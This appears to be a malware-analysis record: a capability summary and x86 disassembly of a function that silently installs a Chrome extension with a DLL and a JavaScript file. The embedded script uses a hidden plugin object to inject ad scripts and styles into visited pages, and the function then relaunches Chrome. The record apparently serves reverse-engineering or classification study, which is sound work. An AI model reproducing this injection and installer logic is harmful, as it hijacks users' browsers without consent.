Function at 0x401a31
Capabilities:
Check if file exists
Create directory
Create process on windows
Get common file path
Query or enumerate registry value
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8c
push ebx
push esi
push edi
mov esi, 0x43c2f0
lea edi, [ebp - 0x128]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0xf5
xor ebx, ebx
lea eax, [ebp - 0x119]
push ebx
push eax
movsb byte es:[edi], byte [esi]
call fcn.00416e30
mov esi, 0x43c2f0
lea edi, [ebp - 0x380]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
add esp, 0xc
movsw word es:[edi], word [esi]
push 0xf5
lea eax, [ebp - 0x371]
push ebx
push eax
movsb byte es:[edi], byte [esi]
call fcn.00416e30
add esp, 0xc
mov byte [ebp - 1], bl
call fcn.0040a7af
cmp eax, 4
jb 0x401ed8
call fcn.0040a6f2
test eax, eax
je 0x401ac9
push ebx
push ebx
push 0x43c30c
push 0x43c320
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push ebx
push 0x7d0
call dword [sym.imp.KERNEL32.dll_SleepEx]
mov byte [ebp - 1], 1
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x128]
push eax
push ebx
push ebx
push 0x1c
push ebx
call esi
test eax, eax
jge 0x401af0
lea eax, [ebp - 0x128]
push eax
push 1
push ebx
push 0x1c
push ebx
call esi
lea eax, [ebp - 0x128]
push 0x43c2f0
push eax
call fcn.00417240
pop ecx
pop ecx
test eax, eax
je 0x401d7c
lea eax, [ebp - 0x128]
push eax
push 0x43c32c
mov edi, 0x104
push edi
push eax
call fcn.00416f6e
add esp, 0x10
call fcn.00409e1d
test eax, eax
push ebx
lea eax, [ebp - 0x128]
push eax
je 0x401b3e
call fcn.004051aa
jmp 0x401b44
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push str.hnhgoncokajlafhnhjmccgcmgggiehjm
lea eax, [ebp - 0x128]
push eax
mov esi, 0x43c2cc
push esi
lea eax, [ebp - 0x380]
push edi
push eax
call fcn.00416f6e
add esp, 0x14
call fcn.00409e1d
test eax, eax
push ebx
lea eax, [ebp - 0x380]
push eax
je 0x401b7e
call fcn.004051aa
jmp 0x401b84
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push ebx
lea eax, [ebp - 0x380]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401d7c
push str.manifest.json
lea eax, [ebp - 0x380]
push eax
push esi
lea eax, [ebp - 0x488]
push edi
push eax
call fcn.00416f6e
add esp, 0x14
lea eax, [ebp - 0x488]
push eax
push 0x95
call fcn.00404541
push str.npgvtl.dll
lea eax, [ebp - 0x380]
push eax
push esi
lea eax, [ebp - 0x488]
push edi
push eax
call fcn.00416f6e
add esp, 0x1c
lea eax, [ebp - 0x488]
push eax
push 0x96
call fcn.00404541
push str.gvtl.js
lea eax, [ebp - 0x380]
push eax
push esi
lea eax, [ebp - 0x488]
push edi
push eax
call fcn.00416f6e
add esp, 0x1c
push 0x7ff
lea eax, [ebp - 0xc87]
push ebx
push eax
mov byte [ebp - 0xc88], bl
call fcn.00416e30
add esp, 0xc
push 0xff
lea eax, [ebp - 0x22f]
push ebx
push eax
mov byte [ebp - 0x230], bl
call fcn.00416e30
add esp, 0xc
lea eax, [ebp - 0x230]
push pe_nt_image_headers32
push eax
call fcn.004033e0
pop ecx
pop ecx
push ebx
push 0x80
push 2
push ebx
push 1
push 0x12019f
lea eax, [ebp - 0x488]
push eax
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x401d74
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
lea eax, [ebp - 8]
push eax
push str.var_object______document.createElement_object_____t_t_t_t_t_t_t_t_t_t_nobject.id___pluginobj____t_t_t_t_t_t_t_t_t_t_nobject.type___application_x_vnd_gvtl_foo_____t_t_t_t_t_t_t_t_t_t_nobject.style.width_1px____t_t_t_t_t_t_t_t_t_t_nobject.style.height_1px____t_t_t_t_t_t_t_t_t_t_nobject.style.visibility_hidden____t_t_t_t_t_t_t_t_t_t_ndocument.body.appendChild_object____t_t_t_t_t_t_t_t_t_t_ntry__t_t_t_t_t_t_t_t_t_t_n___t_t_t_t_t_t_t_t_t_t_n________var_url__location.href____t_t_t_t_t_t_t_t_t_t_n________var_obj__document.getElementById__pluginobj_____t_t_t_t_t_t_t_t_t_t_n________if__obj____t_t_t_t_t_t_t_t_t_t_n___________t_t_t_t_t_t_t_t_t_t_n___________var_JSToInsert__obj.GetAdJS_url______t_t_t_t_t_t_t_t_t_t_n___________var_CSSToInsert__obj.GetAdCSS_____t_t_t_t_t_t_t_t_t_t_n___________if__JSToInsert___t_t_t_t_t_t_t_t_t_t_n______________t_t_t_t_t_t_t_t_t_t_n_______________var_newss__document.createElement_style____t_t_t_t_t_t_t_t_t_t_n_______________newss.type__text_css_____t_t_t_t_t_t_t_t_t_t_n_______________var_newsscontent__document.createTextNode_CSSToInsert____t_t_t_t_t_t_t_t_t_t_n_______________newss.appendChild_newsscontent____n_t_t_t_t_t_t_t_t_t_t_n_______________document.documentElement.childNodes_0_.appendChild_newss____t_t_t_t_t_t_t_t_t_t_n_______________var_PSLoadScript__document.createElement_script____t_t_t_t_t_t_t_t_t_t_n_______________PSLoadScript.type__text_javascript___t_t_t_t_t_t_t_t_t_t_n_______________PSLoadScript.id__PSLoadScript___t_t_t_t_t_t_t_t_t_t_n_______________PSLoadScript.innerHTML__JSToInsert__t_t_t_t_t_t_t_t_t_t_n_______________document.documentElement.childNodes_0_.appendChild_PSLoadScript_____t_t_t_t_t_t_t_t_t_t_n______________t_t_t_t_t_t_t_t_t_t_n___________t_t_t_t_t_t_t_t_t_t_n__t_t_t_t_t_t_t_t_t_t_ncatch_e___t_t_t_t_t_t_t_t_t_t_n_t_t_t_t_t_t_t_t_t_t_n
call esi
push eax
push str.var_object______document.createElement_object_____t_t_t_t_t_t_t_t_t_t_nobject.id___pluginobj____t_t_t_t_t_t_t_t_t_t_nobject.type___application_x_vnd_gvtl_foo_____t_t_t_t_t_t_t_t_t_t_nobject.style.width_1px____t_t_t_t_t_t_t_t_t_t_nobject.style.height_1px____t_t_t_t_t_t_t_t_t_t_nobject.style.visibility_hidden____t_t_t_t_t_t_t_t_t_t_ndocument.body.appendChild_object____t_t_t_t_t_t_t_t_t_t_ntry__t_t_t_t_t_t_t_t_t_t_n___t_t_t_t_t_t_t_t_t_t_n________var_url__location.href____t_t_t_t_t_t_t_t_t_t_n________var_obj__document.getElementById__pluginobj_____t_t_t_t_t_t_t_t_t_t_n________if__obj____t_t_t_t_t_t_t_t_t_t_n___________t_t_t_t_t_t_t_t_t_t_n___________var_JSToInsert__obj.GetAdJS_url______t_t_t_t_t_t_t_t_t_t_n___________var_CSSToInsert__obj.GetAdCSS_____t_t_t_t_t_t_t_t_t_t_n___________if__JSToInsert___t_t_t_t_t_t_t_t_t_t_n______________t_t_t_t_t_t_t_t_t_t_n_______________var_newss__document.createElement_style____t_t_t_t_t_t_t_t_t_t_n_______________newss.type__text_css_____t_t_t_t_t_t_t_t_t_t_n_______________var_newsscontent__document.createTextNode_CSSToInsert____t_t_t_t_t_t_t_t_t_t_n_______________newss.appendChild_newsscontent____n_t_t_t_t_t_t_t_t_t_t_n_______________document.documentElement.childNodes_0_.appendChild_newss____t_t_t_t_t_t_t_t_t_t_n_______________var_PSLoadScript__document.createElement_script____t_t_t_t_t_t_t_t_t_t_n_______________PSLoadScript.type__text_javascript___t_t_t_t_t_t_t_t_t_t_n_______________PSLoadScript.id__PSLoadScript___t_t_t_t_t_t_t_t_t_t_n_______________PSLoadScript.innerHTML__JSToInsert__t_t_t_t_t_t_t_t_t_t_n_______________document.documentElement.childNodes_0_.appendChild_PSLoadScript_____t_t_t_t_t_t_t_t_t_t_n______________t_t_t_t_t_t_t_t_t_t_n___________t_t_t_t_t_t_t_t_t_t_n__t_t_t_t_t_t_t_t_t_t_ncatch_e___t_t_t_t_t_t_t_t_t_t_n_t_t_t_t_t_t_t_t_t_t_n
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0x230]
push eax
push 0x4382cc
push str.HKABw11oGrCiUoZEuW0a
push 0x43c35c
push 0x43c360
lea eax, [ebp - 0xc88]
push 0x800
push eax
mov dword [ebp - 8], ebx
call fcn.00416f6e
add esp, 0x1c
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc88]
push eax
call esi
push eax
lea eax, [ebp - 0xc88]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
lea eax, [ebp - 0x128]
push 0x43c838
push eax
call fcn.00417020
push 0x43c84c
push edi
push eax
call fcn.00416eb5
add esp, 0x14
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401d6f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x401d6f
push edi
call esi
lea eax, [ebp - 0x128]
push eax
call fcn.00402cc3
pop ecx
jmp 0x401d7c
push edi
call esi
jmp 0x401d7c
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp - 1], bl
je 0x401ed8
mov esi, 0x43c2f0
lea edi, [ebp - 0x230]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0xf5
lea eax, [ebp - 0x221]
push ebx
push eax
movsb byte es:[edi], byte [esi]
call fcn.00416e30
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
add esp, 0xc
lea eax, [ebp - 8]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionUninstallGoogle_Chrome
push 0x80000001
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 0x10], 1
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x10]
push eax
push ebx
push 0x43c860
push dword [ebp - 8]
call edi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x230]
push 0x43c2f0
push eax
call fcn.00417240
pop ecx
pop ecx
test eax, eax
jne 0x401e50
lea eax, [ebp - 8]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionUninstallGoogle_Chrome
push 0x80000002
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 0x10], 1
call esi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x10]
push eax
push ebx
push 0x43c860
push dword [ebp - 8]
call edi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x230]
push 0x43c2f0
push eax
call fcn.00417240
pop ecx
pop ecx
test eax, eax
je 0x401ed8
lea eax, [ebp - 0x230]
push eax
push 0x43c870
push 0x104
push eax
call dword [sym.imp.SHLWAPI.dll_wnsprintfA]
push 0x44
pop esi
push esi
lea eax, [ebp - 0x278]
push ebx
push eax
call fcn.00416e30
add esp, 0x1c
push 0x10
lea eax, [ebp - 0x20]
push ebx
push eax
call fcn.00416e30
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x278]
push eax
push ebx
push ebx
push 0x8000000
push 1
push ebx
push ebx
lea eax, [ebp - 0x230]
push eax
push ebx
mov dword [ebp - 0x278], esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push ebx
push 0xc8
call dword [sym.imp.KERNEL32.dll_SleepEx]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret